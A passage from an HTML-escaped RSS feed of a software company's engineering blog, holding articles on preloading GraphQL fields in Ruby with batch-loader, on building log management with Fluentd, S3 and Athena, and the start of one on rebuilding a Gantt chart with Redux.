&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;users &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; posts.map &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |post|    &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;#   BL   ↓    ↓&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  load_user(post)              &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;#   ↓    BL   ↓&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;                            #   ↓    ↓    BL&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;                               #    ↘   ↓   ↙&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;                               #      ¯ ↓ ¯&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;puts&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; users                     &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;#      Users      SELECT * FROM users WHERE id IN (1, 2, 3)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It is a really small amount of code and does exactly what we want. But how could it be easily integrated with the GraphQL code?&lt;/p&gt;
&lt;h2&gt;Making it trivial&lt;/h2&gt;
&lt;p&gt;Knowing that multiple people would have to maintain the API over time, we wanted to make the right way to avoid N+1s obvious and take as little effort as possible. We also wanted to avoid the cost of preloading a field if we didn’t request it.&lt;/p&gt;
&lt;p&gt;When developing new features, one thing we do at Aha! is define our ideal interface first and do what’s necessary behind that to provide the ideal. For this case, this is what we wanted to write in our GraphQL types:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;module&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Types&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; FeatureType&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Types::BaseObject&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    field &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:requirements&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, [&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;RequirementType&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;null:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; false&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;preload:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; :requirements&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;All that’s necessary to preload the requirements when they’re fetched off of a feature is to add that &lt;code&gt;preload:&lt;/code&gt; argument, which uses the same pattern as Rails&apos; &lt;code&gt;includes&lt;/code&gt; does.&lt;/p&gt;
&lt;p&gt;Sometimes, when you dream up a clean interface, the implementation has to become more complex to support it. Thanks to &lt;code&gt;graphql-ruby&lt;/code&gt; and &lt;code&gt;batch-loader&lt;/code&gt;, that wasn’t the case here. This is all you need:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Types::PreloadableField&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Types::BaseField&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; initialize&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;args, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;preload:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; nil&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;kwargs, &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;block)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    @preloads &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; preload&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    super&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;args, &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;kwargs, &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;block)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; resolve&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(type, args, ctx)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; super&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; unless&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; @preloads&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    BatchLoader&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;GraphQL&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.for(type).batch(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;key:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; self&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |records, loader|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;      ActiveRecord&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Associations&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Preloader&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.preload(records.map(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:object&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;), @preloads)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      records.each { |r| loader.call(r, &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;super&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(r, args, ctx)) }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Look how tiny it is! So what is this doing?&lt;/p&gt;
&lt;h3&gt;How it works&lt;/h3&gt;
&lt;p&gt;In &lt;code&gt;graphql-ruby&lt;/code&gt;, a Field instance is created when you use the &lt;code&gt;field&lt;/code&gt; method to define a field, like this from the example above:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;field &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:requirements&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, [&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;RequirementType&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;null:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; false&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;preload:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; :requirements&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you look at the PreloadableField implementation at the end of the last section, it uses that &lt;code&gt;preload&lt;/code&gt; argument to add a little bit of behavior in the &lt;code&gt;resolve&lt;/code&gt; method.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;resolve&lt;/code&gt; is called on a field when GraphQL Ruby needs to get the data from that field. For example, it might be called on the &lt;code&gt;requirements&lt;/code&gt; field when &lt;code&gt;feature.requirements&lt;/code&gt; is called.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;type&lt;/code&gt; argument is the GraphQL type object that contains that field. For example, if a GraphQL FeatureType is preloading RequirementTypes, &lt;code&gt;type&lt;/code&gt; will be an instance of FeatureType and &lt;code&gt;type.object&lt;/code&gt; will be the Feature that FeatureType instance is wrapping.&lt;/p&gt;
&lt;p&gt;This is where things get fun.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;BatchLoader&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;GraphQL&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.for(type)...&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can think of &lt;code&gt;BatchLoader::GraphQL.for(type)&lt;/code&gt; as adding &lt;code&gt;type&lt;/code&gt; into a list. Remember, since &lt;code&gt;type&lt;/code&gt; is an instance of a GraphQL type, this is like adding a FeatureType wrapping the Feature with let’s say ID 1 to that list.&lt;/p&gt;
&lt;p&gt;Every time &lt;code&gt;for&lt;/code&gt; is called, it adds its argument to that list. So if multiple features ask for their requirements, each feature will be added to that list.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;BatchLoader&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;GraphQL&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.for(type).batch(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;key:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; self&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |records, loader| ...&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;batch&lt;/code&gt; associates the block that will eventually do the batch load with the list. The block is given two things: the final list of objects and &lt;code&gt;loader&lt;/code&gt;, which is used to tie each set of results to the right object.&lt;/p&gt;
&lt;p&gt;By default, &lt;code&gt;batch-loader&lt;/code&gt; uses the &lt;em&gt;source location&lt;/em&gt; of the block to group items together into the list. Since the block in this example is used for every field, the block will always have the same source location and that doesn’t work. Instead, &lt;code&gt;key: self&lt;/code&gt; will use source location &lt;em&gt;and&lt;/em&gt; the field definition instance (&lt;code&gt;self&lt;/code&gt;) as the key, making sure that each field definition has its own list of items to batch load.&lt;/p&gt;
&lt;p&gt;This returns a lazy/proxy object that will eventually act like the record you want.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;ActiveRecord&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Associations&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Preloader&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.preload(records.map(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:object&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;), @preloads)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When the records are finally needed, the block is given all of the FeatureTypes that were passed to &lt;code&gt;for&lt;/code&gt;. Rails&apos; ActiveRecord::Associations::Preloader does the preloading using the specified &lt;code&gt;@preloads&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;records.each { |r| loader.call(r, &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;super&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(r, args, ctx)) }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally, &lt;code&gt;loader.call&lt;/code&gt; links together the correct results with each call. For example, if &lt;code&gt;r&lt;/code&gt; is Feature 1, &lt;code&gt;loader.call&lt;/code&gt; needs to link all of Feature 1&apos;s requirements back to Feature 1 so that &lt;code&gt;feature.requirements&lt;/code&gt; will return the correct set from then on. In &lt;code&gt;loader.call&lt;/code&gt;, the first parameter is the same as the item passed into &lt;code&gt;for&lt;/code&gt; and the second is what the return value should be. Here, the correct return value is the same as the default behavior (&lt;code&gt;super&lt;/code&gt;) — this time, with the objects already loaded.&lt;/p&gt;
&lt;p&gt;It seems like a lot but that’s all there is to it. And the same pattern can be used for preloading even more complex sets of objects in even more complex ways.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;We started building &lt;a href=&quot;https://www.aha.io/develop/overview&quot;&gt;Aha! Develop&lt;/a&gt; because we were unsatisfied with the other development tracking tools out there. We wanted something as flexible as the editors we use every day. Something that we, as developers, could make feel like our own. And to do that, we needed a powerful, flexible, fast API. Without it, it would have been impossible to offer the kind of radical customization we promise to developers. &lt;code&gt;graphql-ruby&lt;/code&gt; + &lt;code&gt;batch-loader&lt;/code&gt; + a small PreloadableField class made it easier than we ever would have expected and helped us dodge one of the most frequent GraphQL API stereotypes.&lt;/p&gt;
&lt;p&gt;If you&apos;ve also felt that dissatisfaction with other tools, give Aha! Develop a try. Our early access program is open now and there are a limited number of spots available — sign up quickly if you are interested. Learn more about Aha! Develop and how you can request access so your team can start using it: &lt;a href=&quot;https://www.aha.io/develop/overview&quot;&gt;https://www.aha.io/develop/overview&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Log management using AWS Athena]]></title><description><![CDATA[Many SaaS providers will happily sell you a turn-key log management system, and in the early days of a startup when you value time over…]]></description><link>https://www.aha.io/engineering/articles/log-management-using-aws-athena</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/log-management-using-aws-athena</guid><dc:creator><![CDATA[Alex Bartlow]]></dc:creator><pubDate>Mon, 14 Dec 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Many SaaS providers will happily sell you a turn-key log management system, and in the early days of a startup when you value time over money, purchasing one makes a lot of sense. AWS Cloudwatch logs are another good solution if you are already hosted on AWS. With any of these paid services, the cost is eventually going to start raising a few eyebrows and it might become prudent to build your own in-house. The Elasticsearch-Logstash-Kibana cocktail is the most popular deployment for this, but one SaaS provider I found calculated the TCO over running a moderately-sized ELK stack for a year at nearly $500,000!&lt;/p&gt;
&lt;p&gt;We&apos;ve developed our own system using Fluentd, AWS S3, and AWS Athena to ingest, store, and query our logs. With this combination, I estimate that ingesting 640GB per day of log data and keeping it searchable over the course of the entire year would cost only &lt;a href=&quot;#footnote-1&quot;&gt;$79,248&lt;/a&gt; — a savings of 83 percent! Not to mention the time spent monitoring, scaling, and operating the cluster. The performance of our system is good; queries that return the data for a single request complete in less than 3 seconds. Searching the full text of our logs for specific markers or references can take longer but it&apos;s still very manageable.&lt;/p&gt;
&lt;p&gt;This system not only gives us fast access to the logs that we do have, but it also enables us to log additional information per request and keep logs searchable for longer than we otherwise would if we had to pay more for storage. But having this additional data is invaluable for helping us solve problems and answer questions in a rapid and responsive way.&lt;/p&gt;
&lt;p&gt;In this post, I&apos;m going to walk through what we did, provide some code and discussions to show our approach, and talk about opportunities for future work that have opened up. I&apos;m also going to mention some &quot;gotchas&quot; and road-blocks that we encountered along the way.&lt;/p&gt;
&lt;h2&gt;Building the system&lt;/h2&gt;
&lt;p&gt;There are four stages to a logging system: ingestion, aggregation, storage, and query. We&apos;re going to talk about them in reverse order.&lt;/p&gt;
&lt;h3&gt;Query&lt;/h3&gt;
&lt;p&gt;Assuming we have our logs in a structured format, what would be an ideal interface to gain access to it? While Kibana is the preferred choice for many companies, Kibana provides a lot of things that we don&apos;t really need. Pretty charts and graphs are nice, but when debugging an error state, what we really need is quick access to our logs. Additionally, exposing something that resembles SQL allows writing sophisticated queries to answer questions as they emerge.&lt;/p&gt;
&lt;p&gt;Amazon Athena is the technology we settled on to query our logs. Athena searches data that already exists in S3, and it has a few properties that make it ideal for the task at hand:&lt;/p&gt;
&lt;p&gt;Athena is really inexpensive. We pay only for the data that we scan in the process of completing a query: only $5 per terabyte at the time of writing.&lt;/p&gt;
&lt;p&gt;Athena understands and can query the parquet file format out of the box. Parquet is column-oriented, which means that it is able to scan data only in the columns we are searching. This is a huge boon to us since the vast majority of our searches are &quot;get me all of the logs for this single request id&quot;. That&apos;s only a 128bit UUID, and Athena is able to quickly determine which chunks of data contain the value under search, saving us both time and money. Additionally, parquet is compressible, and Athena is able to query it while in its compressed format, saving even more money on scanning costs.&lt;/p&gt;
&lt;p&gt;We wrote a small custom log search engine to act as a front-end to Athena&apos;s interface for our team. This interface has fields, basic query parameters, a date selector to help generate the SQL-like query language that Athena uses, as well as a few endpoints that kick off a query immediately based on request uuid, pod, and time. We embed links to our tool in Datadog for rapid log analysis of poorly performing endpoints.&lt;/p&gt;
&lt;h3&gt;Storage&lt;/h3&gt;
&lt;p&gt;As mentioned, Athena queries data that is stored in S3. It&apos;s a durable, reliable medium that ensures millisecond access to our data when we need it. S3 also comes with another benefit. We can set up lifecycle rules to move files to lower cost tiers over time. These lifecycle rules can be set up with just a few clicks (or a few lines of AWS CloudFormation) and then it&apos;s done.&lt;/p&gt;
&lt;h3&gt;Aggregation&lt;/h3&gt;
&lt;p&gt;Aggregating the logs from our services turned out to require some work. Instead of using an Amazon product off the shelf, we opted to use Fluentd to ingest, aggregate, and then process our logs. The configuration itself is very simple. We created a docker image that built Fluentd with &lt;code&gt;libjemalloc&lt;/code&gt; to keep the memory usage in check and &lt;code&gt;lib-arrow&lt;/code&gt; to generate the compressed data in Parquet format. This container could then be deployed to our standard ECS cluster and then treated like any other service.&lt;/p&gt;
&lt;h3&gt;Ingestion&lt;/h3&gt;
&lt;p&gt;Now that we have our query, aggregation, and storage services ready, the last step is to get data from our application into the Fluentd service. There are a couple of options for this. One was to set the docker logging provider to Fluentd and point it at the aggregation cluster we have deployed. This allows us to log to stdout, which would keep the logger relatively simple. However, we decided it was worth it to make our application aware of the aggregation service and install a client-logging library for Fluentd. Fluentd maintains a Ruby version of their logger, which works as a drop-in replacement for the logger on rails applications: &lt;a href=&quot;https://github.com/fluent/fluent-logger-ruby&quot;&gt;fluent-logger-ruby&lt;/a&gt;, but this is language-agnostic and could be used anywhere.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;h3&gt;Who logs the logger?&lt;/h3&gt;
&lt;p&gt;Unfortunately, there is one area where we cannot rely on this system for logging — it&apos;s not able to log to itself! The ECS agent requires that the new container be able to log to its log provider immediately upon boot. This is a problem when the logging service itself needs to boot, initialize, and then pass health checks to start taking requests.&lt;/p&gt;
&lt;p&gt;One way around this would be to bake a &quot;forwarding&quot; ECS service into the AMI for every ECS cluster instance. This forwarder could receive and buffer logs, then send them on to a private hostname configured to point to our new logging service.&lt;/p&gt;
&lt;h3&gt;Ensure proper chunk size&lt;/h3&gt;
&lt;p&gt;Athena has a &quot;sweet spot.&quot; Because of the columnar format of data and the ability for Athena to read the headers out of the parquet file before it fetches the whole object, Athena works best when the size of scanned files is around 200MB. Once it gets larger, Athena is missing out the ability to parallelize. When it is smaller, each query worker spends a lot of time reading and parsing the initial headers instead of scanning the actual data. We had to tweak our time keys and chunk sizes to get this just right.&lt;/p&gt;
&lt;p&gt;There is a balancing act between chunk size and capacity. The more aggregation containers we were running, the more log pressure we needed to get the right amount of saturation to create files in the sweet spot. In our experience, the cluster really wants to be run at about 80% CPU. Higher than that and we risk the TCP log forwarding protocol providing upstream back-pressure to the services logging to it. Less than that and we end up creating log files that are not big enough to get full performance out of Athena. Since our use-case is an internal developer-facing tool and the risk of slowing down our main application is not worth the slightly better throughput, we have opted to slightly over-provision our containers. A second Fluentd container layer serving as a forwarder in between our application servers and our aggregation containers could help buffer this substantially. This will give us great performance without risk of back-pressure at the cost of slightly more complexity and cost overhead.&lt;/p&gt;
&lt;h3&gt;Partition projection&lt;/h3&gt;
&lt;p&gt;We first attempted to create an AWS glue table for our data stored in S3 and then have a Lambda crawler automatically create Glue partitions for Athena to use. This was a bad approach.&lt;/p&gt;
&lt;p&gt;Partition projection tells Athena about the shape of the data in S3, which keys are partition keys, and what the file structure is like in S3. We partition our data by service, shard, year, month, day, and hour. In our testing, we found that partition projection was essential to getting full value out of Athena. Without it, many of our queries would take up to thirty seconds as Athena consulted our AWS glue tables to determine which data to scan. With partition projection, no such lookup was necessary, and the query could begin immediately, scanning only the relevant data.&lt;/p&gt;
&lt;p&gt;Keep in mind that partitions are great for scoping down the amount of data to access, but by partitioning too aggressively, we noticed our chunk sizes dropping below the &quot;sweet spot&quot; discussed above. We noticed a similar problem partitioning our data by EC2 instance. Clumping all hosts together counterintuitively made our queries to the system a lot faster.&lt;/p&gt;
&lt;h3&gt;Future use cases&lt;/h3&gt;
&lt;p&gt;The power of this system is enormous. We push a staggering amount of log data into it, pay relatively little for it, and query it in seconds. Additionally, the ingestion is managed by a service that we run and provision ourselves. So it is easy to autoscale down when demand is low and scale up when we need the additional horsepower to keep up with demand. But now that we have this system running, other use cases have presented themselves that look promising:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Analytics&lt;/strong&gt; — We are able to log to Fluentd with a special key for analytics events that we want to later ETL and send to Redshift. We can create a new rule in our Fluentd config to take the analytics tag, and write it into the proper bucket for later Athena queries to export to Redshift, or for Redshift itself to query directly from S3 using Redshift Spectrum.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Request correlation&lt;/strong&gt; — At Aha!, every request to our service is issued a request_uuid. When we queue a background job or make call to another service, those services can all log using the same framework and can include that originating request_uuid in the appropriate field. This means we can trace everything that was involved or triggered from a single user request through all of our backend services through a single query interface and interlace all of the logs together in one timeline.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding contemporary logs&lt;/strong&gt; — Using this system, it is trivial to search for all logs from all requests with a very small timestamp window. If we know that we had a deadlock around a certain row in a database, this would allow you to find all processes that attempted to update that row, and then trace back to find the controller action that caused the problem.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If finding innovative solutions to problems like this sounds interesting, &lt;a href=&quot;https://www.aha.io/company/careers/current-openings&quot;&gt;come work with us&lt;/a&gt; as we build the world&apos;s #1 product roadmapping software. We are not only creating a powerful platform for the biggest companies in the world to plan and manage their strategy, we are also building sophisticated tooling to help our talented and friendly development team continue to excel.&lt;/p&gt;
&lt;h4&gt;Footnotes&lt;/h4&gt;
&lt;p&gt;&lt;a name=&quot;footnote-1&quot;&gt;&lt;/a&gt;1: Assuming 35 Fargate container instances with 1.25 VCPU and 2GB memory each, 640GB ingested per day, 60-day S3 Standard Access storage, 335-day Infrequent Access storage, and 100 Athena queries per day each covering 100GB scanned. (This is a generous allowance.) Reserved ECS cluster instances drop this cost down further.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Building our new Gantt chart]]></title><description><![CDATA[Our old Gantt chart served us well for the past six years. It was doing what it was designed to do, but some of the things we wanted to add…]]></description><link>https://www.aha.io/engineering/articles/building-our-new-gantt-chart</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/building-our-new-gantt-chart</guid><dc:creator><![CDATA[Michel Billard]]></dc:creator><pubDate>Tue, 01 Sep 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Our old Gantt chart served us well for the past six years. It was doing what it was designed to do, but some of the things we wanted to add were either impossible or incredibly difficult to accomplish. For example, giving customers more control over their data by not forcing features and other records to stay contained within the dates of their parents. Or allowing customers to order the records the way they wanted, to choose which records appear and which ones don’t, and many more. Internally, we also wanted to support more data types so that we could reuse the same Gantt chart for multiple views. So we decided it was finally time to completely overhaul it. Here are some of the lessons we learned as we built this great tool.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;All code samples are greatly simplified to keep the article readable.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Be shallow about what you put in your Redux store&lt;/h2&gt;
&lt;p&gt;One of the things we wished we learned earlier was to keep our Redux store objects as shallow as possible. Early on in the project, an object would look almost the same in the backend as in the Redux store. At first, it seemed fine but after struggling with one too many (not to be confused with one-to-many) bugs, we decided to move some of the object properties out of the objects themselves and into their own key-value pair in the store.&lt;/p&gt;
&lt;p&gt;Before getting into the examples, let’s take a high-level look at the data structure. The Gantt chart has records with attributes and children that are themselves records with attributes and children, etc.&lt;/p&gt;
